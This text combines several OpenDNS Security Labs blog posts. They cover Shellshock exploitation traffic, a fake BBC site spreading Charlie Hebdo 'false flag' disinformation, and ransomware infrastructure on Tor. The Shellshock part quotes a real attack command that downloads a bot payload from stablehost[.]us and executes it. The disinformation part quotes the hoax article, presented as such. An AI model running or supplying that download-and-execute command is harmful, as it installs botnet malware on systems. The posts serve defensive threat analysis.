A third domain has also been observed as a payload delivery downloader site after the Shellshock vulnerability is detected. This site, stablehost[.]us was known to, and blocked by, OpenDNS back in January, 2014 as it had been used to deliver the Fiesta exploit kit – and now appears to be repurposed for payload delivery.

The following string was observed by numerous researchers and security professionals across various perimeter security controls. The command is essentially fetching and running another payload as part of its post-exploitation campaign:

/bin/bash -c \”wget http://stablehost[.]us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot ; sh /tmp/sh;rm -rf /tmp/sh

Based on the sustained 1K query count, this is likely a string you should start reviewing your logs for.
 

Further Analysis

With all of that data, can we differentiate between researchers, script kiddies, and bots? The first two (researchers and script kiddies) are by far the most difficult to differentiate between <pause for laughter>. Let’s look at more findings and see…

Looking at day over day changes in activities between users who had been probing for the vulnerability on September 29th vs the 30th, there 118 more users on the 30th than on the 29th. Despite this sudden uptick in users what was more interesting was traffic patterns between the two groups. More than 90% of the new Shellshock probers visited less than three suspicious websites. However, individuals on the 29th who had visited malware continued to visit malware on the same rate on the 30th. In fact, the malware rates and sites visited were almost identical with a deviation of +/- 2. One guess could be that the surge in new probers could be a either security researchers or script kiddies. The users on the 29th who were probing, and had high malware visitation rates, were probably already compromised machines.

Interestingly – only one malicious domain was found common across each of the three datasets. The advombat[.]ru domain was found once in the Stablehost dataset and three times in both the September 29th and September 30th datasets. The advombat domain is connected with ransomware downloads and, viewing a query history over the past one month, reveals that the domain receives approximately 15k queries per hour with traffic activity following a diurnal pattern. This sort of behavior supports the hypothesis that machines probing for the Shellshock vulnerability on the 29th were part of a larger compromised network. A point of further investigation would be to analyze similarities in traffic between computers that have visited advombat domain.

The stablehost[.]us dataset provided us with data regarding computers that were becoming part of a larger Shellshock botnet. The most frequently found domain found across the set of 18 IPs was stabehost[.]us with 17 occurrences. The second most common was linksys[.]secureshellz[.]net. with 8 occurrences.

Secureshellz has been identified by researchers such as our friends over at @MalwareMustDie as one of the C2 centers for the Shellshock botnet. It was also previously known, and blocked, for serving the Fiesta Exploit Kit at the beginning of January, 2014.
 

In closing… 

So it seems that looking at the data as we’ve done thus far hasn’t really afforded us the visibility into the bot vs. human vs. infected human differentiation problem. OpenDNS Labs will continue to explore this in an upcoming blog post as we have some interesting ideas on how to attack this particular problem.

The post How OpenDNS Labs Sees the BASH Vulnerability appeared first on OpenDNS Security Labs.

You may have noticed that a few media outlets have been reporting that a fake BBC website was setup to spread disinformation regarding the recent Charlie Hebdo attacks in Paris, France.On January 12, 2015 our advanced threat protection flagged the bbc-news[.]co[.]uk domain as a suspicious site. While we can’t say definitively what the motives are of the operators are, it is apparent that they are untrustworthy and potentially nefarious. The predictive classification that we used to identify and flag the site is showing the attack is very similar to former incidents that malicious actors have used in the past like the Boston Marathon malware incidents.

This post will highlight the OpenDNS Security Labs analysis of the campaign and its indicators.

Key Insights

• Fake BBC themed website launch using bbc-news[.]co[.]uk domain
• Social media enlisted to spread disinformation to draw visitors
• A 16.5x spike in normal DNS queries to the website
• Website had external links to State-sponsored (Iranian) media outlet
• Prominent American economist and columnist enlisted to lend credibility to disinformation

The Domain

A news site getting a surge in traffic is not that uncommon. For example, a breaking story may have been released. However, in this case the circumstances were a bit more interesting. The website in question had no traffic prior to December 28, 2014 and was not affiliated with the main BBC website.

Some further investigation on the IP hosting the website and the domain registration info (via WHOIS) made it apparent it had no relation to the actual BBC website. What had caught our attention was the jump from around 250 requests per hour to suddenly 3500 requests (16.5x increase). We speculated that the jump in traffic was probably caused by a popular webpage hosting a link to the fake website.

The website, bbc-news[.]co[.]uk, was registered on December 28, 2014 with 1 & 1 Internet AG by “Michael Jones”. The domain has changed hands at least once, having previously been owned by an individual using the name “Keith Szlamp” until its expiration on June 9, 2012. The following table shows the historical DNS record types associated with the bbc-news[.]co[.]uk domain.

Using the freely available tools we were able to decipher the real IP address of the server. The IP address is associated with AS198047 and belongs to UK Webhosting Ltd. (t/a Tsohost) of 113-114 Buckingham Avenue, Slough, Berkshire, England – a brand owned by Paragon Internet Group.

The domain registrant’s name, Michael Jones, could also be a misdirect. Jones remains the most popular surname in Wales, borne by 5.75% of the population. The registrant’s given name, Michael, is also a very common name throughout the world. A quick search for “michael jones” uk OR wales OR scotland OR england on Google shows around 440,000 results.

Based on available information the website doesn’t appear to be malicious but the intent to deceive and perhaps harm visitors via unscrupulous file downloads or through click-fraud is a logical conclusion to draw.

Three observations reinforce said conclusion.

News of U.K. Citizen Apprehended in the Middle East on “Terror Charges”

A quick search on Twitter for bbc-new[.]co[.]uk showed us that the first mention of the domain was in relation to two Tweets on December 31, 2014 claiming that a “U.K. YouTuber” was apprehended in the Middle East on Terror Charges.

We were unable to corroborate this story and found no reference to the event in question. As there was no favoriting or retweeting of the stories, this might indicate a “trial run” of the campaign.

The Promise of a Cicada 3301 Clue

Between January 2 and January 10, 2015, we began to see Tweets stating that a Cicada 3301 clue would be announced:

Some even speculated that the clue was located in the comments section of the post:

The Cicada 3301 puzzle has been called “the most elaborate and mysterious puzzle of the internet age” by Metro, and is listed as one of the “Top 5 eeriest, unsolved mysteries of the Internet” by The Washington Post. The first Internet puzzle started on January 5, 2012, and ran for approximately one month. A second round began one year later on January 5, 2013, and a third round is ongoing following confirmation of a fresh clue posted on Twitter on January 5, 2014. The stated intent was to recruit “intelligent individuals” by presenting a series of puzzles which were to be solved, each in order, to find the next.

Given the date that these Tweets began, the owner of the bbc-news[.]co[.]uk site likely counted on a flood of puzzle-playing people just waiting for another clue.

News Regarding The Authenticity of Charlie Hebdo Footage

Examining the co-occurrences with bbc-news[.]co[.]uk gave us additional direction. Reddit.com had a high co-occurrence score with the domain. The most recent post was to a provocative headline regarding the Charlie Hebdo case.

At the time of this writing the submitter of all 3 posts have been deleted.

As the site is now offline, only the cached version remains (http://webcache.googleusercontent.com/search?q=cache:WfWMrmqES58J:bbc-news.co.uk/doubts-raised-over-authenticity-of-charlie-hebdo-footage/+&cd=1&hl=en&ct=clnk&gl=ca&client=firefox-a). When the site was live it looked indistinguishable from the legitimate bbc.co.uk website but the Google cached version has removed the stolen look and feel (as seen below).

The article on the website read as follows:

Doubts raised over authenticity of Charlie Hebdo footage.

According to analysts, it appears that the footage was recorded over two takes, evidenced by a placement marker that appears by the front left wheel of the vehicle as the gunmen return from apparently gunning down a wounded Gendarme.

The killing of the french policeman is also being called into question, due to the ‘lack of blood spatter consistent with that of a close range shooting’.

As shown in the freeze frame below [no longer available], smoke is shown to emit from the weapon, with no impact or trauma appearing to register on the body of the victim. The decision of many news outlets to blur out the victim is being debated as evidence of complicity in what many are now calling a hoax.

Forensic and ballistics expert David Mayhew commented; “If the video shows events as they actually occurred, then in my opinion it is most likely that the firearm shown is discharging blanks rather than conventional ammunition”.

Whilst numerous theories have sprung up concerning this and other details, the general consensus among not just sceptics, but some major news agencies, is that the entire event was a ‘False Flag’ attack perpetrated by the CIA and/or Mossad in a “psy-ops” exercise to rouse hatred against Islam and support for what has been so far, a failing campaign in Iraq, Syria and the Middle East.

The article also links to an Islamic Republic of Iran Broadcasting (IRIB) operated Press TV interview with Dr. Paul Craig Roberts, former Assistant Secretary of the Treasury in the Reagan Administration and associate editor of the Wall Street Journal. In the article, Dr. Roberts states that the attack in Paris was a false flag operation “designed to shore up France’s vassal status to Washington.”

Who Connected To The Website?

Analyzing a 60 minute window between 15:00 UTC and 16:00 UTC on January 12, 2015 showed 1,491 unique client IP addresses that accessed the website via the OpenDNS infrastructure. The client IPs represent a massively distributed query base with an unsurprisingly high number of queries from clients in and around France.

Utilizing OpenGraphiti (www.opengraphiti.com), OpenDNS Investigate, and a depth circle layout, we can see a defined circle representing the client IP addresses. We can also see the connections between the IP addresses and ASNs (showing a high connection rate from ISPs in France and the United States).

How Did They Find The Site?

As a result of placing the bbc-news[.]co[.]uk domain into our sinkhole, we were able to analyze the referrers that directed the clients to the domain. The list of 58 referrers observed between January 12, 2015 20:39:55 and January 13, 2015 04:28:14 UTC can be found at the end of this document.

During that time period we observed 2,300 distinct queries for the bbc-news[.]co[.]uk as depicted in the following Kibana dashboard:

The Charlie Hebdo events in France, however, likely represented the most successful way to bait information seeking Internet users. Based on the HTTP referrers it wasn’t long before blogs and popular social media sites (like Facebook) began linking to the fake site, as seen below.

Reddit.com, as indicated previously, also provided a number of referrers and was mentioned across multiple posts.

It should be noted that the timing of the Reddit.com postings preceded the spike in query traffic by roughly 20hrs.

The OpenDNS Investigate co-occurrences shows a number of Jihadi and ISIS-related websites referring to the bbc-news[.]co[.]uk site.

Conclusions

While we can’t say definitively what the motives are of the operators are, it is apparent that they are untrustworthy and potentially nefarious. The predictive classification that we used to identify and flag the site is showing the attack is very similar to former incidents that malicious actors have used in the past like the Boston Marathon malware incidents.

Though we cannot conclude that the threat actor’s intent was malicious, it was almost certainly employed to plant “false flags” and drive traffic to the bbc-news[.]co[.]uk website. In a corporate environment, had one or two queries to the domain been noticed, the majority of individuals would likely have thought nothing of it. The domain name did not read as malicious and it aligned with the BBC look and feel. Only after the traffic is compared to a larger population, like the 50m+ customers using the OpenDNS infrastructure, could it be noticed that the site traffic trended higher than usual – a potential indicator of compromise (IOC).

So who is/was the threat actor and what is/was their goal?

The use of social media (namely Twitter and Reddit) to spread the 3 distinct enticements – the “Youtuber terror threat” false flag, the release of a Cicada 3301 clue, and the Charlie Hebdo false flag – indicates a reasonable knowledge of the Internet, SEO-like traffic generation techniques, and current events.

The Cicada 3301 clues have typically been released on January 5 in years past so that part of the campaign was, if anything, timely. Could this have been an elaborate ploy to provide a valid clue to the game? Unlikely. Why would the “Cicada 3301 organization” utilize a fake news site to communicate the clue? The risk for brand pollution and subsequent legal action are far too great, in our opinion, to warrant such tactics. Also, the Cicada organization would probably not wish to align itself with such controversial disinformation or political polarization.

As mentioned however, the Charlie Hebdo events in France likely represented the most successful way to bait information seeking Internet users. Based on the HTTP referrers it wasn’t long before blogs and popular social media sites (like Facebook and Reddit) began linking to the fake site.

The campaign also does not appear to target any individual, group, or geopolitical region. The use of relevant news indicates that a broad net was cast in an effort to draw as many individuals from social media and other sources to the site.

One might conclude that, given the recent events surrounding Charlie Hebdo in Paris, the posting of disinformation on the bbc-news[.]co[.]uk site, and links to an Iranian state-sponsored news agency corroborating the same disinformation, that this was a State-executed, State-ordered, State-integrated, or State-rogue-conducted activity backed by Iran. Given all available information, however, this conclusion might be as inflammatory and misinformed as the campaign itself.

It’s also possible that Dr. Paul Craig Roberts, the former Assistant Secretary of the Treasury in the Reagan Administration and associate editor of the Wall Street Journal, had some ties to the campaign in an effort to garner attention for his views and political stance. Again, however, all available information cannot conclusively attribute this to Dr. Roberts in any way.

What can be discerned from this campaign is how staggeringly malicious it could have been. The campaign presented similar indicators as witnessed in spam email runs and rapidly constructed websites surrounding the Boston Marathon bombing. As the bbc-news[.]co[.]uk domain appeared (without deep investigation) to be associated with BBC and its brand, it is reasonable to assume that many more individuals could have been driven to the site. Once at the site, individuals could have been served malicious content, redirected to other more dangerous fraudulent sites, or unknowingly enlisted for click fraud purposes, to name but a few.

This very well could have been a campaign of “test runs” to see what type of SEO-like keywords, stories, and links generated the most traffic to a seemingly reputable domain. Based on the success or failure of the test runs, the attacker could refactor or move forward, respectively, with a more malicious campaign. OpenDNS Security Labs will continue to monitor the domain to see if the campaign evolves or if the threat actor changes tactics entirely.

Appendix: List of the 58 referrers

• http://bbc-news[.]co[.]uk/cicada-3301-set-to-deliver-new-clues-on-january-5th-2015/
• http://bbc-news[.]co[.]uk/doubts-raised-over-authenticity-of-charlie-hebdo-footage/
• http://cgi[.]webbox[.]com/wbwc/webbox[.]asp?sec=0&r=6563&act=rd&ms=416915022&cf=861503&ses=12534786&p=360628
• http://forums[.]somethingawful[.]com/showthread[.]php?threadid=3569772&userid=0&perpage=40&pagenumber=106
• http://gfy[.]com/fucking-around-and-program-discussion/1158787-suspicions-growing-french-shootings-false-flag-operation[.]html
• http://hommaforum[.]org/index[.]php/topic,98014[.]2610[.]html
• http://joemonster[.]org/filmy/66340/I_am_NOT_Charlie_Hebdo_Max_Kolonko_Mowi_Jak_Jest
• http://l[.]facebook[.]com/l[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&h=gAQHsqFlo&enc=AZOgdpWwQ-18pFpuLvMZr-vqwnGg203ywHZn8PAsOTgHJZD3x9Hqf8e5QLTxu8W1cl_IrxQb6eKgRnOo9gFa6liR-_SSe_niMp8bG0rvpcl6V11bAe_GO6VtES2YY20zjBBj1xkCq4dhj5qKMQhMpJrstiUzXHLPpoPnk3YW1gGMLw&s=1
• http://l[.]facebook[.]com/l[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&h=lAQEcMVsPAQEWcg7aRZNWHQFhPcCE2ppo5iEEzuLIRMdmQg&enc=AZMzFs_jZ-sANKBjyUU-FHqkswOdOOVuPzF8JR4ouG1dAB2YO7mDRyKBGv8N3-R6KAnNQGBoON2GadI94g6qcBdaScR2ZJVmR2MSAseIaOpuqaXx6BSuaqhRxcnsmx9wseabbtslJIg3eqGP09jKU-lf9AgAD8sfz-Q-FScq7QEHfw&s=1
• http://l[.]facebook[.]com/l[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&h=nAQFdN26J&enc=AZOyK7yuimhhgnacntBN0uGoT-mLXeBdgTlDRBqfWf63Q5EOrFfb4HpOnJW_bi5-KkEDN47DmozxZtLLTKZhImimddXOVcZDKVaMq9Q3bKvH2sUTiyGHpXWMdWo-VUZhnhGYXju1kiy7omQ321qIHOha&s=1
• http://l[.]facebook[.]com/l[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage&h=LAQFW4gN4&enc=AZMgNEm0JECnE0tWtCsSL8ZlQDH-y5nHSHi9JCwyqrZTKFUKQnJerTrkMdIZqXF_n-AfAHAPJE3-aE31pAv1FcMzA76lrskHZKrQmgdfhyqujenAM70iY0dgKPOmX5pcKwPGyHZ2_kioQ53krIeTNvSP&s=1
• http://l[.]facebook[.]com/lsr[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2F&ext=1421096817&hash=AcnXQcbjvxd6azFguwv3pU951XmW3MvMVRXF1FX3Nz8i6A
• http://l[.]facebook[.]com/lsr[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&ext=1421098908&hash=Acn3QcXquQVwedUQfdCnOs4ttCZu5nX9c3LmrpRbHgakpA
• http://muckrack[.]com/link/ypx4o/
• http://plus[.]url[.]google[.]com/url?sa=z&n=1421096109533&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&usg=ZYcJs9rk9glioLUEkTWOfdzgAZM[.]
• http://plus[.]url[.]google[.]com/url?sa=z&n=1421100283728&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&usg=evpz4vi4HXuMeYUGnnjZYCaqa2w[.]
• http://plus[.]url[.]google[.]com/url?sa=z&n=1421101229815&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&usg=IXeoYEZiApBpJeChEHRX9deWuAg[.]
• http://plus[.]url[.]google[.]com/url?sa=z&n=1421105776174&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&usg=I40Bc7kbx9_sdrhutqyA9XvQK1U[.]
• http://plus[.]url[.]google[.]com/url?sa=z&n=1421105833487&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&usg=YLVakB3Jtt6Ws7FmXzMZ60rPEgU[.]
• http://projectavalon[.]net/forum4/showthread[.]php?78924-BBC-Doubts-raised-over-authenticity-of-Charlie-Hebdo-footage[.]
• http://removingtheshackles[.]blogspot[.]ca/
• http://removingtheshackles[.]blogspot[.]co[.]uk/2015/01/the-bbc-did-not-admit-france-was-false[.]html
• http://removingtheshackles[.]blogspot[.]com[.]au/
• http://removingtheshackles[.]blogspot[.]com[.]au/2015/01/the-bbc-did-not-admit-france-was-false[.]html?m=1
• http://removingtheshackles[.]blogspot[.]com[.]es/2015/01/the-bbc-did-not-admit-france-was-false[.]html
• http://removingtheshackles[.]blogspot[.]com/
• http://removingtheshackles[.]blogspot[.]com/2015/01/the-bbc-did-not-admit-france-was-false[.]html
• http://removingtheshackles[.]blogspot[.]dk/2015/01/the-bbc-did-not-admit-france-was-false[.]html
• http://t[.]co/bKzMDEOigv
• http://uncovering-cicada[.]wikia[.]com/wiki/Fake_bbc_2015
• http://webcache[.]googleusercontent[.]com/search?q=cache:9VzKB8vdlmcJ:bbc-news[.]co[.]uk/+&cd=1&hl=de&ct=clnk&client=safari
• http://webcache[.]googleusercontent[.]com/search?q=cache:WfWMrmqES58J:bbc-news[.]co[.]uk/doubts-raised-over-authenticity-of-charlie-hebdo-footage/+&cd=1&hl=en&ct=clnk&gl=ca&client=firefox-a
• http://webcache[.]googleusercontent[.]com/search?q=cache:WfWMrmqES58J:bbc-news[.]co[.]uk/doubts-raised-over-authenticity-of-charlie-hebdo-footage/+&cd=1&hl=en&ct=clnk&gl=uk&client=firefox-a
• http://webcache[.]googleusercontent[.]com/search?q=cache:WfWMrmqES58J:bbc-news[.]co[.]uk/doubts-raised-over-authenticity-of-charlie-hebdo-footage/+&cd=1&hl=en&ct=clnk&gl=us
• http://whatreallyhappened[.]com/
• http://www[.]boards[.]ie/vbulletin/showthread[.]php?t=2057359580
• http://www[.]coveritlive[.]com/index2[.]php/option=com_altcaster/task=viewaltcast/template=/altcast_code=c75389334d/width=534/height=700
• http://www[.]facebook[.]com/l[.]php?u=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&h=eAQHnbbPq
• http://www[.]godlikeproductions[.]com/forum1/message2767345/pg1
• http://www[.]google[.]ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&ved=0CC0QFjAC&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&ei=X3q0VMf5Loz7sASdmYDoBw&usg=AFQjCNFXTI_YlW7ay2z6ku6Bm9y_oEsSBA
• http://www[.]google[.]ca/url?sa=t&rct=j&q=&esrc=s&source=web&cd=3&ved=0CC0QFjAC&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&ei=X3q0VMf5Loz7sASdmYDoBw&usg=AFQjCNFXTI_YlW7ay2z6ku6Bm9y_oEsSBA&bvm=bv[.]83339334,d[.]d24
• http://www[.]google[.]com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=4&ved=0CC8QFjAD&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Ftag%2Fcicada-3301-2015%2F&ei=Jlm0VNrEGcS_ggS82oPQCg&usg=AFQjCNExoKS8_kY9tYmjnnSu6Vqu3u1hlg&sig2=owJM6jFARhCCCL_QKJ-oJw&bvm=bv[.]83339334,d[.]eXY
• http://www[.]google[.]de/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CCMQFjAA&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&ei=jDi0VKzEJYHgywOhxIKIDg&usg=AFQjCNFXTI_YlW7ay2z6ku6Bm9y_oEsSBA
• http://www[.]google[.]ie/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CCIQFjAA&url=http%3A%2F%2Fbbc-news[.]co[.]uk%2Fdoubts-raised-over-authenticity-of-charlie-hebdo-footage%2F&ei=0lm0VO38EYLC7gb9woGQAQ&usg=AFQjCNFXTI_YlW7ay2z6ku6Bm9y_oEsSBA&bvm=bv[.]83339334,d[.]ZGU
• http://www[.]politics[.]ie/forum/northern-ireland/233813-belfast-muslim-s-praise-islamic-state-s-rule-mosul-6[.]html
• http://www[.]reddit[.]com/
• http://www[.]reddit[.]com/r/conspiracy/comments/2s3qbd/doubts_raised_over_authenticity_of_charlie_hebdo/
• http://www[.]reddit[.]com/r/skeptic/comments/2s696v/charlie_hebdo_false_flag_nonsense_need_some_help/
• http://www[.]removingtheshackles[.]blogspot[.]ca/
• http://www[.]thejournal[.]ie/mobile-apps/
• http://www[.]theoccidentalobserver[.]net/2015/01/alain-de-benoist-on-charlie-hebdo/
• http://www[.]veteranstoday[.]com/2015/01/12/bbcpresident-of-france-false-flag-terrorism-in-paris/
• http://www[.]zerohedge[.]com/news/2015-01-12/slain-paris-terrorist-claims-he-was-working-isis-posthumous-video-explains-reasons-a?page=1
• https://www[.]facebook[.]com/
• https://www[.]google[.]ca/
• https://www[.]google[.]co[.]uk/
• https://www[.]google[.]com/
• https://www[.]google[.]it/

The post Disinformation of Charlie Hebdo: Analyzing a Fake BBC News Site appeared first on OpenDNS Security Labs.

The Back Story
From infected hospitals to utilizing new platforms, we have seen a recent uptick in media coverage of ransomware attacks. By now we assume most of you are familiar with ransomware but we have published a primer in the past.

At OpenDNS and Cisco we have published numerous blogs, papers, and webcasts on the subject. We’ve also presented on ransomware since early 2012 — most recently on the emergence of Ransomware as a Service. If you want a refresh on some of our content, here are links to our most read materials:

Easy, Cheap and Costly: Ransomware is Growing Exponentially

Tracking the Footprints of Ransomware

The Ransomware of Things

Cryptolocker: Containment is the new prevention

The Wrap Up: Containing Cryptolocker Webcast

The Ripple Effect: Containing Cryptolocker

Bedep Lurking in Angler’s Shadows.

Sophistication Increases

With ransomware attacks, we have seen a plethora of techniques that range from infecting users through email lures to piggybacking on exploits and other infections such as Angler. Equally as sophisticated, attackers have built resilient infrastructures for their platforms. We have seen several techniques over the years, including the use of Domain Generated Algorithms (DGA), infecting good web properties, and using TLDs, CCTLDs, and GTLDs.

With the most recent Apple OS X version of ransomware, attackers infected the Transmission clients software with their own code to avoid detection and get installs. Although this attack was not prevalent for a variety of reasons, it does highlight the rise in sophistication.

The Dark Web

As mentioned above, in this particular version the attackers infected a client that utilized the Tor network for routing their users. While the Tor network is a powerful tool that allows users to avoid eavesdropping and possible surveillance for lawful citizens, unfortunately, it is also sometimes abused by criminal enterprises — such as the ransomware folks — to avoid detection. In this case the IP address we outlined in our video is the IP of a Tor proxy. It’s important to note that this is *not* the location of the hosting service but a location that acts as a gateway to the information. The IP addresses that the domains resolve to are simply proxies that take you to the ultimate destination.

After some investigation of the indicators from the most recent Palo Alto Networks Blog on a piece of malware coined “KeRanger,” we noticed the attackers are using the TOR network. What we found particularly interesting is what lurked on the same infrastructure that the attackers were using to host their data.

Among other items on the same network — as Palo Alto’s blog outlined — we discovered: Ransomware as a Service (RaaS) sites, instructions for end-users on how to pay for decryption, credit card and other credentials for sale, online black hat carding forums, hacker training contents, and illegal drugs for sale. We have included some screenshots of these sites below along with some screenshots of the Tor proxy pages:

Protecting your Enterprise: Effectively Simple

Throughout the years OpenDNS has done an amazing job at protecting customers from the various versions of ransomware by detecting the infrastructure that the attacks utilize to connect, control, and transfer the keys to evoke the encryption. Arguably the simplest and most effective way to prevent your files from being encrypted is to configure your recursive DNS to our infrastructure. Additionally, our Investigate product allows you to not only pivot through the infrastructure to validate the context of an Indicator of Compromise (IOC), but also to pivot into other inferences based on our security graph of data.

Below is a quick screen share video of our Investigative product looking at the most recent version of KeRanger.

Protecting against Encryption

The most sophisticated criminals are continually testing new infection methods and evasion techniques. One example of this is the use of encryption on the network. In this particular case the addition of an endpoint is critical in defense. In the above example, if the encryption was invoked then Cisco’s AMP for Endpoint product works as a great additional layer of both visibility, retrospection, and enforcement for ransomware. For the particular case of OS X, AMP had endpoint protection for customers, as evident by this screenshot:

Moving Forward

With the advent of Ransomware as a Service it is likely we will see more groups involved in this technique of extorting money from companies, and a rise in the sophistication of their infection vectors,  infrastructure, and business models. Items such as trickling or selective encryption, data awareness, and target awareness are all likely to surface. With that, no company should be without a strategy to prevent, detect, and respond to these attacks as they are the combination of sophisticated and well-resourced adversaries, and are impactful to running your business.

OpenDNS and Cisco’s AMP team will be hosting a webcast about ransomware on March 30th at 10:00 AM PST. For details and to attend visit the registration page.

The post Ransomware and the “Dark Web” appeared first on OpenDNS Security Labs.